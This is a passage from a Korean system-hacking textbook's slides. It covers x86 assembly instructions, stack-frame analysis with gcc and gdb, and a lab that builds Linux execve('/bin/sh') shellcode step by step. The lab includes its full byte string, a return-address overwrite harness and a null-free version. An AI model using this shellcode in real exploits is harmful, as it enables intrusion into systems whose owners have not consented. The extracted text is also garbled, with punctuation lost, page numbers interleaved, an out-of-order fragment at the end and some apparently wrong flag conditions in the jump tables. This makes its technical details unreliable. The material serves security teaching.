bull JMP(Unconditional Jump) 대표적인 점프 명령 프로그램을 실행할 주소 또는 라벨로 이동

어셈블리어의 기본 문법과 명령

형식 JMP [ 제 1 피연산자 ]

사용 예

JMP 100h

주소로 직접 지정한 100h 번지로 점프한다

string MOV CX 384

JMP string

라벨로 JMP 를 지정하는 경우다

47108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JC carry flag set CF = 1 CF 값이 1 이면 점프

JNC not carry flag set CF = 0 CF 값이 0 이면 점프

JEJZ Equal Zero ZF = 1 결과가 0 이면 점프

JAJNBEabovenot below nor equal

CF = 0 and ZF = 0

결과가 크면 점프 ( 부호화 안된 수 )

JAEJNBabove or equalnot below

CF = 0결과가 크거나 같으면 점프 ( 부호화 안된 수 )

JBJNAEbelownot above nor equal

CF = 1 결과가 작으면 점프 ( 부호화 안된 수 )

JLJNGElessnot greater nor equal

SF = OF 결과가 작으면 점프 ( 부호화된 수 )

JBEJNAbelow or equalnot above

(CF or ZF) = 1결과가 작거나 같으면 점프 ( 부호화 안된 수 )

JGJNLEgreaternot less nor equal

ZF = 0 and SF = OF

결과가 크면 점프 ( 부호화 안된 수 )

JGEJNLgreater or equalnot less

SF = OF 결과가 크거나 같으면 점프 ( 부호화된 수 )

48108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

above below 부호 없는 두 수의 크기 관계

greater less 부호 있는 두 수의 크기 관계

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JLEJNGless or equalnot greater

ZF = 1 or SF = OF

결과가 작거나 같으면 점프 ( 부호화 안된 수 )

결과가 0 이 아니면 점프

JNEJNZ not equalnot zero ZF = 0JNOnot overflowOF=0 오버플로우가

아닌 경우 점프

JNPJPO not parityparity odd PF = 0 PF 가 1 이면 점프

JNS not sign SF = 0 SF 가 1 이면 점프

JO overflow OF = 1 오버플로우 발생 시 점프

JPJPE parityparity even PF = 1 PF 가 1 이면 점프

JS Sign SF = 1 SF 가 1 이면 점프

JCXZ CX Zero CX = 0 CX 가 0 이면 점프

49108

어셈블리어의 기본 명령

bull CALL(Call) JMP 처럼 함수 호출할 때 사용 제 1 피연산자에 라벨을 지정 리턴 주소로 IP(Instruction Pointer) 주소 백업 lsquoPUSH EIP + JMPrsquo 와 같은 의미

bull RET(Return from CALL) 함수에서 호출한 곳으로 돌아갈 때 사용하는 명령 lsquoPOP EIPrsquo 와 같은 의미

bull CALL 과 RET 의 예 가정 AX 에는 0x08h 값이 저장

bull SUBR 함수 호출하면 SUBR 라벨이 있는 곳에서 RET까지 실행 INC AX 가 있으므로 AX 는 0x09hbull RET 명령이 실행되면 CALL 다음 라인인 lsquoADD AX 10hrsquo 실행 AX 는 0x19h

어셈블리어의 기본 문법과 명령

RET

CALL SUBR ADD AX 10h SUBR INC AX RET

형식 CALL [ 제 1 피연산자 ]

50108

어셈블리어의 기본 명령

bull LOOP(Loop CX times) 문장들의 블록을 지정된 횟수만큼 반복 CX 는 자동적으로 카운터로 사용되며 루프 반복할 때마다 감소

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를 스택에 저장

그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

형식 INT [ 제 1 피연산자 ]

51108

어셈블리어의 기본 명령

bull 기타 제어 전송 명령

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를

스택에 저장 그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 INT [ 제 1 피연산자 ]

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

52108

어셈블리어의 기본 명령 프로세스 제어 명령

bull STC(Set Carry) 명령은 피연산자 없이 사용 EFLAGS 레지스터의 CF 값을 세을 세팅bull -NOP(No Operation) 아무 의미 없는 명령 일종의 빈 칸을 채우려고 사용bull 기타 프로세스 제어 명령

bull [ 표 2-13] 기타 프로세스 제어 명령

어셈블리어의 기본 문법과 명령

명령 설명

CLC Clear Carry 캐리 플래그를 클리어한다

CMC Complement Carry 캐리 플래그를 반전한다

HLT Halt 정지한다

CLD Clear Direction 디렉션 플래그를 클리어한다

CLI Clear Interrupt 인터럽트 플래그를 클리어한다

STD Set Direction 디렉션 플래그를 세트한다

STI Set Interrupt 인터럽트 인에이블 플래그를 세트한다

WAIT Wait 프로세스를 일시 정지 상태로 한다

ESC Escape to External device 종료 명령이다

53108

MASM32 설치 라이브러리를 제공하는 MASM32 설치

[ 그림 2-22] MASM32 다운로드와 설치

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

bull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASMbull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASM

실습환경

1

54108

WINASM 설치 에디터인 WINASM를 설치

[ 그림 2-23] WINASM 다운로드와 경로 설정

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

2

55108

프로젝트 생성 WINASM에서 [File]-[New Project] 메뉴를 선택 [New Project] 대화상자에서 생성할 프로젝트의 종류를 선택

[ 그림 2-24] 새 프로젝트 생성

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

3

56108

어셈블리어 프로그램 작성 (1)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

486 32 비트 모드임을 알려준다

model flat stdcall 메모리 모델을 알려준다

라이브러리의 표준 양식이 있는 inc 파일과 라이브러리 파일을 include

include masm32includewindowsinc

include masm32macrosmacrosasm

include masm32includemasm32inc

include masm32includegdi32inc

include masm32includeuser32inc

include masm32includekernel32inc

includelib masm32libmasm32lib

includelib masm32libgdi32lib includelib masm32libuser32lib includelib masm32libkernel32lib

57108

어셈블리어 프로그램 작성 (2)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

code MASM 이 시작됨을 알려준다

start 코드의 시작점 (Entry Point)

call main main 함수를 호출한다

Exit

main proc main 함수

mov eax 100 100 을 EAX 레지스터에 저장한다

mov ecx 250 250 을 ECX 레지스터에 저장한다

add ecx eax ECX 에 EAX 값을 더한다

mov eax 300 300 을 EAX 레지스터에 저장한다

cmp eax ecx EAX 와 ECX 를 비교한다

je equal EAX 와 ECX 가 같으면 equal 로 점프

jg bigger EAX 가 ECX 보다 크면 bigger 로 점프

jl smaller EAX 가 ECX 보다 작으면 smaller 로 점프

58108

어셈블리어 프로그램 작성 (3)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

equal

print chr$(EAX 와 ECX 는 같습니다 )

jmp over over 로 점프한다

bigger

print chr$(EAX 가 ECX 보다 큽니다 )

jmp over

smaller

print chr$(EAX 가 ECX 보다 작습니다 )

over

ret return

main endp main 함수를 끝낸다

end start MASM 프로그램을 끝낸다

59108

컴파일 먼저 [Make]-[Assemble] 메뉴를 선택하면 obj 파일이 생기고

[Make]-[Link] 메뉴를 선택하면 exe 파일이 생성

[ 그림 2-25] 컴파일

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

5

60108

실행 [Make]-[Link] 메뉴까지 실행을 마치면 다음과 같이 AMS_TESTobj와 AMS_TESTexe 파일이 생성 AMS_TESTexe 파일을 실행 해보자

[ 그림 2-26] 실행

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

6

61108

어셈블리어의 각 실행 단계별로 스택의 동작을 살펴보는 과정을 통해 스택에서 어셈블리어

처리하는 과정을 이해 리눅스에서는 어셈블리어가 ATampT 문법으로 사용되어 제 1 피연산자와

제 2 피연산자의 위치가 반대

SAMPLEC 의 어셈블리어 코드 획득 (1)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

samplec

void main()

int c

c=function(1 2)

int function(int a int b)

char buffer[10]

a=a+b

return a

62108

SAMPLEC 의 어셈블리어 코드 획득 (2) 레드햇 리눅스 62 에서 컴파일

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

sampleafile samplec

version 0101gcc2_compiledtext

align 4globl main

type mainfunctionmain

pushl ebp ➊movl espebp ➋subl $4esp ➌pushl $2 ➍pushl $1 ➎call function ➏addl $8esp 1056934movl eaxeax 1056934

gcc -S -o samplea samplec

vi samplea

17

18

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 27: 80×86  시스템에 대한 이해

27108

인덱스 주소 지정 레지스터 간접 지정 방식에 변위가 더해진 메모리 주소 지정 방식 ( 예 )20h 만큼 더해 메모리를 참조한 명령

다음과 같이 바꿔서 표현 할 수 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX+20h] MOV AL [BP+20h]

MOV AL 20h[BX] MOV AL 20h[BP]

28108

베이스 인덱스 주소 지정 실제 주소 생성 위해 베이스 레지스터 (BX 또는 BP) 와

인덱스 레지스터 (DI 또는 SI) 를 결합

2 차원 배열의 주소 지정에 사용

다음과 같이 바꿔서 표현 할 수 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX+SI] MOV AL [BP+SI]

MOV AL [BX][SI] MOV AL [BP][SI]

29108

변위를 갖는 베이스 인덱스 주소 지정 베이스 - 인덱스의 변형으로 실제 주소 생성 위해

베이스 레지스터 인덱스 레지스터 변위 결합

어셈블리어의 기본 문법과 명령

MOV AL [BX+SI+20h] MOV AL [BP+SI+20h]

30108

어셈블리어의 기본 명령 산술 연산 명령 기본적인 정수 계산

bull ADD(Add) 제 1 피연산자와 제 2 피연산자 값을 더한 결과 값을 제 1 피 연산자에 저장

bull SUB(Subtract) 제 1 피연산자에서 제 2 피연산자 값을 뺀 결과 값을 제 1 피연산자에 저장

bull CMP(Compare) 데이터의 두 값 비교 시 사용 lsquocmp a brsquo 의 경우 a 에서 b 를 뺀 값이0 이면 참

어셈블리어의 기본 문법과 명령

형식ADD [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

ADD AL 4

AL 이 원래 3이었다면 명령 실행 후 AL은 7이 된다

형식SUB [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

SUB AL 4

AL 이 원래 7이었다면 명령 실행 후 AL은 3이 된다

형식CMP [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

CMP AL 4

AL 이 원래 7이었다면 명령 실행 후 AL은 3이 된다

31108

어셈블리어의 기본 명령 기타 산술 연산 명령 [ 표 2-7] 기타 산술 연산 명령

어셈블리어의 기본 문법과 명령

명령 설명

ADC Add with Carry 캐리를 포함한 덧셈을 수행한다

SBB Subtraction with borrow 캐리를 포함한 뺄셈을 수행한다

DEC Decrement 피연산자 내용을 하나 감소시킨다

NEG Change Sign 피연산자의 2 의 보수 즉 부호를 반전한다

INC Increment 피연산자 내용을 하나 증가시킨다

